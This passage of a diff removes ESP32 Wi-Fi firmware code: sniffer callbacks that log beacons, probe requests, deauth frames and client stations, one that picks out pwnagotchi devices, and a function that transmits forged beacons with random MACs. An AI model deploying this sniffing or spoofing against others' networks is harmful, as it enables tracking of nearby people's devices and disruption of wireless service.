-
-  delay(random(0, 10));
-  Serial.print("RSSI: ");
-  Serial.print(snifferPacket->rx_ctrl.rssi);
-  Serial.print(" Ch: ");
-  Serial.print(snifferPacket->rx_ctrl.channel);
-  Serial.print(" BSSID: ");
-    
-  Serial.print(addr);
-  //display_string.concat(" RSSI: ");
-  //display_string.concat(snifferPacket->rx_ctrl.rssi);
-  display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
-
-  //display_string.concat(" ");
-  display_string.concat(" -> ");
-  display_string.concat(addr);
-
-  for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
-  {
-    display_string.concat(" ");
-  }
-
-  Serial.print(" ");
-
-  #ifdef HAS_SCREEN
-    display_obj.loading = true;
-    display_obj.display_buffer->add(display_string);
-    display_obj.loading = false;
-  #endif
-  
-
-  
-  Serial.println();
-
-  if (save_packet)
-    sd_obj.addPacket(snifferPacket->payload, len);
-  //}
-}
-
-void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String src = "";
-  String essid = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    
-    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
-    {
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      src.concat(addr);
-      if (src == "de:ad:be:ef:de:ad") {
-        
-        
-        delay(random(0, 10));
-        Serial.print("RSSI: ");
-        Serial.print(snifferPacket->rx_ctrl.rssi);
-        Serial.print(" Ch: ");
-        Serial.print(snifferPacket->rx_ctrl.channel);
-        Serial.print(" BSSID: ");
-        Serial.print(addr);
-        //display_string.concat(addr);
-        display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
-        Serial.print(" ESSID: ");
-        display_string.concat(" -> ");
-
-        // Just grab the first 255 bytes of the pwnagotchi beacon
-        // because that is where the name is
-        //for (int i = 0; i < snifferPacket->payload[37]; i++)
-        for (int i = 0; i < len - 37; i++)
-        {
-          Serial.print((char)snifferPacket->payload[i + 38]);
-          //display_string.concat((char)snifferPacket->payload[i + 38]);
-          if (isAscii(snifferPacket->payload[i + 38]))
-            essid.concat((char)snifferPacket->payload[i + 38]);
-          else
-            Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
-        }
-        //essid.concat("\": \"\"}}");
-        //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
-
-        // Load json
-        //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
-        DynamicJsonDocument json(1024); // ArduinoJson v6
-        //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
-         // ArduinoJson v6
-        if (deserializeJson(json, essid)) {
-          Serial.println("\nCould not parse Pwnagotchi json");
-          display_string.concat(essid);
-        }
-        else {
-          Serial.println("\nSuccessfully parsed json");
-          String json_output;
-          //json.printTo(json_output); // ArduinoJson v5
-          serializeJson(json, json_output); // ArduinoJson v6
-          Serial.println(json_output);
-          display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
-        }
-  
-        int temp_len = display_string.length();
-        for (int i = 0; i < 40 - temp_len; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-
-        #ifdef HAS_SCREEN
-          if (display_obj.display_buffer->size() == 0)
-          {
-            display_obj.loading = true;
-            display_obj.display_buffer->add(display_string);
-            display_obj.loading = false;
-          }
-        #endif
-        
-  
-        
-        Serial.println();
-
-        if (save_packet)
-          sd_obj.addPacket(snifferPacket->payload, len);
-      }
-    }
-  }
-}
-
-void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String essid = "";
-  String bssid = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
-    {
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-
-      bool in_list = false;
-      bool mac_match = true;
-
-      for (int i = 0; i < access_points->size(); i++) {
-        mac_match = true;
-        //Serial.print("Checking ");
-        //Serial.print(addr);
-        //Serial.println(" against " + (String)access_points->get(i).essid);
-
-        
-        for (int x = 0; x < 6; x++) {
-          //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
-          if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
-            mac_match = false;
-            //Serial.println("MACs do not match");
-            break;
-          }
-        }
-        if (mac_match) {
-          in_list = true;
-          break;
-        }
-      }
-
-      if (!in_list) {
-      
-        delay(random(0, 10));
-        Serial.print("RSSI: ");
-        Serial.print(snifferPacket->rx_ctrl.rssi);
-        Serial.print(" Ch: ");
-        Serial.print(snifferPacket->rx_ctrl.channel);
-        Serial.print(" BSSID: ");
-        Serial.print(addr);
-        display_string.concat(addr);
-        Serial.print(" ESSID: ");
-        display_string.concat(" -> ");
-        for (int i = 0; i < snifferPacket->payload[37]; i++)
-        {
-          Serial.print((char)snifferPacket->payload[i + 38]);
-          display_string.concat((char)snifferPacket->payload[i + 38]);
-          essid.concat((char)snifferPacket->payload[i + 38]);
-
-          
-        }
-
-        bssid.concat(addr);
-  
-        int temp_len = display_string.length();
-        for (int i = 0; i < 40 - temp_len; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-
-        #ifdef HAS_SCREEN
-          if (display_obj.display_buffer->size() == 0)
-          {
-            display_obj.loading = true;
-            display_obj.display_buffer->add(display_string);
-            display_obj.loading = false;
-          }
-        #endif
-        
-        if (essid == "") {
-          essid = bssid;
-          Serial.print(essid + " ");
-        }
-
-        //LinkedList<char> beacon = new LinkedList<char>();
-        
-        /*AccessPoint ap = {essid,
-                          snifferPacket->rx_ctrl.channel,
-                          {snifferPacket->payload[10],
-                           snifferPacket->payload[11],
-                           snifferPacket->payload[12],
-                           snifferPacket->payload[13],
-                           snifferPacket->payload[14],
-                           snifferPacket->payload[15]},
-                          false,
-                          NULL};*/
-
-        AccessPoint ap;
-        ap.essid = essid;
-        ap.channel = snifferPacket->rx_ctrl.channel;
-        ap.bssid[0] = snifferPacket->payload[10];
-        ap.bssid[1] = snifferPacket->payload[11];
-        ap.bssid[2] = snifferPacket->payload[12];
-        ap.bssid[3] = snifferPacket->payload[13];
-        ap.bssid[4] = snifferPacket->payload[14];
-        ap.bssid[5] = snifferPacket->payload[15];
-        ap.selected = false;
-        ap.stations = new LinkedList<int>();
-        
-        ap.beacon = new LinkedList<char>();
-
-        //for (int i = 0; i < len; i++) {
-        //  ap.beacon->add(snifferPacket->payload[i]);
-        //}
-        ap.beacon->add(snifferPacket->payload[34]);
-        ap.beacon->add(snifferPacket->payload[35]);
-
-        Serial.print("\nBeacon: ");
-
-        for (int i = 0; i < ap.beacon->size(); i++) {
-          char hexCar[4];
-          sprintf(hexCar, "%02X", ap.beacon->get(i));
-          Serial.print(hexCar);
-          if ((i + 1) % 16 == 0)
-            Serial.print("\n");
-          else
-            Serial.print(" ");
-        }
-
-        ap.rssi = snifferPacket->rx_ctrl.rssi;
-
-        access_points->add(ap);
-
-        Serial.print(access_points->size());
-
-        Serial.println();
-
-        if (save_packet)
-          sd_obj.addPacket(snifferPacket->payload, len);
-      }
-    }
-  }
-}
-
-void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String essid = "";
-  String bssid = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
-    {
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-
-      bool in_list = false;
-      bool mac_match = true;
-
-      for (int i = 0; i < access_points->size(); i++) {
-        mac_match = true;
-        //Serial.print("Checking ");
-        //Serial.print(addr);
-        //Serial.println(" against " + (String)access_points->get(i).essid);
-
-        
-        for (int x = 0; x < 6; x++) {
-          //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
-          if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
-            mac_match = false;
-            //Serial.println("MACs do not match");
-            break;
-          }
-        }
-        if (mac_match) {
-          in_list = true;
-          break;
-        }
-      }
-
-      if (!in_list) {
-      
-        delay(random(0, 10));
-        Serial.print("RSSI: ");
-        Serial.print(snifferPacket->rx_ctrl.rssi);
-        Serial.print(" Ch: ");
-        Serial.print(snifferPacket->rx_ctrl.channel);
-        Serial.print(" BSSID: ");
-        Serial.print(addr);
-        display_string.concat(addr);
-        Serial.print(" ESSID: ");
-        display_string.concat(" -> ");
-        for (int i = 0; i < snifferPacket->payload[37]; i++)
-        {
-          Serial.print((char)snifferPacket->payload[i + 38]);
-          display_string.concat((char)snifferPacket->payload[i + 38]);
-          essid.concat((char)snifferPacket->payload[i + 38]);
-
-          
-        }
-
-        bssid.concat(addr);
-  
-        int temp_len = display_string.length();
-        for (int i = 0; i < 40 - temp_len; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-
-        #ifdef HAS_SCREEN
-          if (display_obj.display_buffer->size() == 0)
-          {
-            display_obj.loading = true;
-            display_obj.display_buffer->add(display_string);
-            display_obj.loading = false;
-          }
-        #endif
-        
-        if (essid == "") {
-          essid = bssid;
-          Serial.print(essid + " ");
-        }
-        
-        AccessPoint ap = {essid,
-                          snifferPacket->rx_ctrl.channel,
-                          {snifferPacket->payload[10],
-                           snifferPacket->payload[11],
-                           snifferPacket->payload[12],
-                           snifferPacket->payload[13],
-                           snifferPacket->payload[14],
-                           snifferPacket->payload[15]},
-                          false,
-                          NULL,
-                          snifferPacket->rx_ctrl.rssi,
-                          new LinkedList<int>()};
-
-        access_points->add(ap);
-
-        Serial.print(access_points->size());
-
-        Serial.println();
-
-        if (save_packet)
-          sd_obj.addPacket(snifferPacket->payload, len);
-      }
-    }
-  }
-}
-
-void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
-    {
-      delay(random(0, 10));
-      Serial.print("RSSI: ");
-      Serial.print(snifferPacket->rx_ctrl.rssi);
-      Serial.print(" Ch: ");
-      Serial.print(snifferPacket->rx_ctrl.channel);
-      Serial.print(" BSSID: ");
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      Serial.print(addr);
-      display_string.concat(addr);
-      Serial.print(" ESSID: ");
-      display_string.concat(" -> ");
-      for (int i = 0; i < snifferPacket->payload[37]; i++)
-      {
-        Serial.print((char)snifferPacket->payload[i + 38]);
-        display_string.concat((char)snifferPacket->payload[i + 38]);
-      }
-
-      int temp_len = display_string.length();
-
-      #ifdef HAS_SCREEN
-        for (int i = 0; i < 40 - temp_len; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-  
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-      
-
-      
-      Serial.println();
-
-      if (save_packet)
-        sd_obj.addPacket(snifferPacket->payload, len);
-    }
-  }
-}
-
-void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String mac = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-  }
-
-  char ap_addr[] = "00:00:00:00:00:00";
-  char dst_addr[] = "00:00:00:00:00:00";
-
-  int ap_index = 0;
-
-  // Check if frame has ap in list of APs and determine position
-  uint8_t frame_offset = 0;
-  int offsets[2] = {10, 4};
-  bool matched_ap = false;
-  bool ap_is_src = false;
-
-  bool mac_match = true;
-
-  for (int y = 0; y < 2; y++) {
-    for (int i = 0; i < access_points->size(); i++) {
-      mac_match = true;
-      
-      for (int x = 0; x < 6; x++) {
-        //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
-        if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) {
-          mac_match = false;
-          break;
-        }
-      }
-      if (mac_match) {
-        matched_ap = true;
-        if (offsets[y] == 10)
-          ap_is_src = true;
-        ap_index = i;
-        getMAC(ap_addr, snifferPacket->payload, offsets[y]);
-        break;
-      }
-    }
-    if (matched_ap)
-      break;
-  }
-
-  // If did not find ap from list in frame, drop frame
-  if (!matched_ap)
-    return;
-  else {
-    if (ap_is_src)
-      frame_offset = 4;
-    else
-      frame_offset = 10;
-  }
-  /*  Stuff to care about now
-   *  ap_is_src
-   *  ap_index
-   */
-  
-
-  // Check if we already have this station
-  bool in_list = false;
-  for (int i = 0; i < stations->size(); i++) {
-    mac_match = true;
-    
-    for (int x = 0; x < 6; x++) {
-      //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
-      if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) {
-        mac_match = false;
-        //Serial.println("MACs do not match");
-        break;
-      }
-    }
-    if (mac_match) {
-      in_list = true;
-      break;
-    }
-  }
-
-  getMAC(dst_addr, snifferPacket->payload, 4);
-
-  // Check if dest is broadcast
-  if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0))
-    return;
-  
-  // Add to list of stations
-  Station sta = {
-                {snifferPacket->payload[frame_offset],
-                 snifferPacket->payload[frame_offset + 1],
-                 snifferPacket->payload[frame_offset + 2],
-                 snifferPacket->payload[frame_offset + 3],
-                 snifferPacket->payload[frame_offset + 4],
-                 snifferPacket->payload[frame_offset + 5]},
-                false};
-
-  stations->add(sta);
-
-  // Print findings to serial
-  Serial.print((String)stations->size() + ": ");
-  
-  char sta_addr[] = "00:00:00:00:00:00";
-  
-  if (ap_is_src) {
-    Serial.print("ap: ");
-    Serial.print(ap_addr);
-    Serial.print(" -> sta: ");
-    getMAC(sta_addr, snifferPacket->payload, 4);
-    Serial.println(sta_addr);
-  }
-  else {
-    Serial.print("sta: ");
-    getMAC(sta_addr, snifferPacket->payload, 10);
-    Serial.print(sta_addr);
-    Serial.print(" -> ap: ");
-    Serial.println(ap_addr);
-  }
-  display_string.concat(sta_addr);
-  display_string.concat(" -> ");
-  display_string.concat(access_points->get(ap_index).essid);
-
-  int temp_len = display_string.length();
-
-  #ifdef HAS_SCREEN
-    for (int i = 0; i < 40 - temp_len; i++)
-    {
-      display_string.concat(" ");
-    }
-
-    Serial.print(" ");
-
-    if (display_obj.display_buffer->size() == 0)
-    {
-      display_obj.loading = true;
-      display_obj.display_buffer->add(display_string);
-      display_obj.loading = false;
-    }
-  #endif
-
-  // Add station index to AP in list
-  //access_points->get(ap_index).stations->add(stations->size() - 1);
-
-  AccessPoint ap = access_points->get(ap_index);
-  ap.stations->add(stations->size() - 1);
-
-  access_points->set(ap_index, ap);
-
-  if (save_packet)
-    sd_obj.addPacket(snifferPacket->payload, len);
-}
-
-void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-  }
-
-  Serial.print("RSSI: ");
-  Serial.print(snifferPacket->rx_ctrl.rssi);
-  Serial.print(" Ch: ");
-  Serial.print(snifferPacket->rx_ctrl.channel);
-  Serial.print(" BSSID: ");
-  char addr[] = "00:00:00:00:00:00";
-  getMAC(addr, snifferPacket->payload, 10);
-  Serial.print(addr);
-  display_string.concat(text_table4[0]);
-  display_string.concat(snifferPacket->rx_ctrl.rssi);
-
-  display_string.concat(" ");
-  display_string.concat(addr);
-
-  int temp_len = display_string.length();
-
-  #ifdef HAS_SCREEN
-    for (int i = 0; i < 40 - temp_len; i++)
-    {
-      display_string.concat(" ");
-    }
-
-    Serial.print(" ");
-
-    if (display_obj.display_buffer->size() == 0)
-    {
-      display_obj.loading = true;
-      display_obj.display_buffer->add(display_string);
-      display_obj.loading = false;
-    }
-  #endif
-  
-
-  
-  Serial.println();
-
-  if (save_packet)
-    sd_obj.addPacket(snifferPacket->payload, len);
-}
-
-void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
-    {
-      delay(random(0, 10));
-      Serial.print("RSSI: ");
-      Serial.print(snifferPacket->rx_ctrl.rssi);
-      Serial.print(" Ch: ");
-      Serial.print(snifferPacket->rx_ctrl.channel);
-      Serial.print(" BSSID: ");
-      char addr[] = "00:00:00:00:00:00";
-      char dst_addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      getMAC(dst_addr, snifferPacket->payload, 4);
-      Serial.print(addr);
-      Serial.print(" -> ");
-      Serial.print(dst_addr);
-      display_string.concat(text_table4[0]);
-      display_string.concat(snifferPacket->rx_ctrl.rssi);
-
-      display_string.concat(" ");
-      display_string.concat(addr);
-
-      #ifdef HAS_SCREEN
-        for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-  
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-      
-      Serial.println();
-
-      if (save_packet)
-        sd_obj.addPacket(snifferPacket->payload, len);
-    }
-  }
-}
-
-void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
-    {
-      delay(random(0, 10));
-      Serial.print("RSSI: ");
-      Serial.print(snifferPacket->rx_ctrl.rssi);
-      Serial.print(" Ch: ");
-      Serial.print(snifferPacket->rx_ctrl.channel);
-      Serial.print(" Client: ");
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      Serial.print(addr);
-      display_string.concat(addr);
-      Serial.print(" Requesting: ");
-      display_string.concat(" -> ");
-      for (int i = 0; i < snifferPacket->payload[25]; i++)
-      {
-        Serial.print((char)snifferPacket->payload[26 + i]);
-        display_string.concat((char)snifferPacket->payload[26 + i]);
-      }
-
-      // Print spaces because of the rotating lines of the hardware scroll.
-      // The same characters print from previous lines so I just overwrite them
-      // with spaces.
-      #ifdef HAS_SCREEN
-        for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        if (display_obj.display_buffer->size() == 0)
-        {
-          //while (display_obj.printing)
-          //  delay(1);
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-      
-      Serial.println();    
-
-      if (save_packet)
-        sd_obj.addPacket(snifferPacket->payload, len);
-    }
-  }
-}
-
-void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String essid = "";
-  bool found = false;
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
-    {
-
-      for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
-      {
-        essid.concat((char)snifferPacket->payload[26 + i]);
-      }
-
-      for (int i = 0; i < ssids->size(); i++) {
-        if (ssids->get(i).essid == essid) {
-          Serial.println("Found a sheep");
-          found = true;
-          break;
-        }
-      }
-
-      if (!found)
-        return;
-      
-      delay(random(0, 10));
-      Serial.print("RSSI: ");
-      Serial.print(snifferPacket->rx_ctrl.rssi);
-      Serial.print(" Ch: ");
-      Serial.print(snifferPacket->rx_ctrl.channel);
-      Serial.print(" Client: ");
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      Serial.print(addr);
-      display_string.concat(addr);
-      Serial.print(" Requesting: ");
-      display_string.concat(" -> ");
-
-      // ESSID
-      for (int i = 0; i < snifferPacket->payload[25]; i++)
-      {
-        Serial.print((char)snifferPacket->payload[26 + i]);
-        display_string.concat((char)snifferPacket->payload[26 + i]);
-      }
-
-      // Print spaces because of the rotating lines of the hardware scroll.
-      // The same characters print from previous lines so I just overwrite them
-      // with spaces.
-      #ifdef HAS_SCREEN
-        for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-      
-      Serial.println();    
-
-      if (save_packet)
-        sd_obj.addPacket(snifferPacket->payload, len);
-    }
-  }
-}
-
-void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
-  set_channel = random(1,12); 
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);  
-
-  if (custom_ssid.beacon->size() == 0)
-    return;
-
-
-  // Randomize SRC MAC
-  // Randomize SRC MAC
-  packet[10] = packet[16] = random(256);
-  packet[11] = packet[17] = random(256);
-  packet[12] = packet[18] = random(256);
-  packet[13] = packet[19] = random(256);
-  packet[14] = packet[20] = random(256);
-  packet[15] = packet[21] = random(256);
-
-  char ESSID[custom_ssid.essid.length() + 1] = {};
-  custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
-
-  int realLen = strlen(ESSID);
-  int ssidLen = random(realLen, 33);
-  int numSpace = ssidLen - realLen;
-  //int rand_len = sizeof(rand_reg);
-  int fullLen = ssidLen;
-  packet[37] = fullLen;
-
-  // Insert my tag
-  for(int i = 0; i < realLen; i++)
-    packet[38 + i] = ESSID[i];
-
-  for(int i = 0; i < numSpace; i++)
-    packet[38 + realLen + i] = 0x20;
-
-  /////////////////////////////
-  
-  packet[50 + fullLen] = set_channel;
-
-  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
-                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
-
-
-
-  // Add everything that goes after the SSID
-  //for(int i = 0; i < 12; i++) 
-  //  packet[38 + fullLen + i] = postSSID[i];
-
-  packet[34] = custom_ssid.beacon->get(0);
-  packet[35] = custom_ssid.beacon->get(1);
-  
-
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
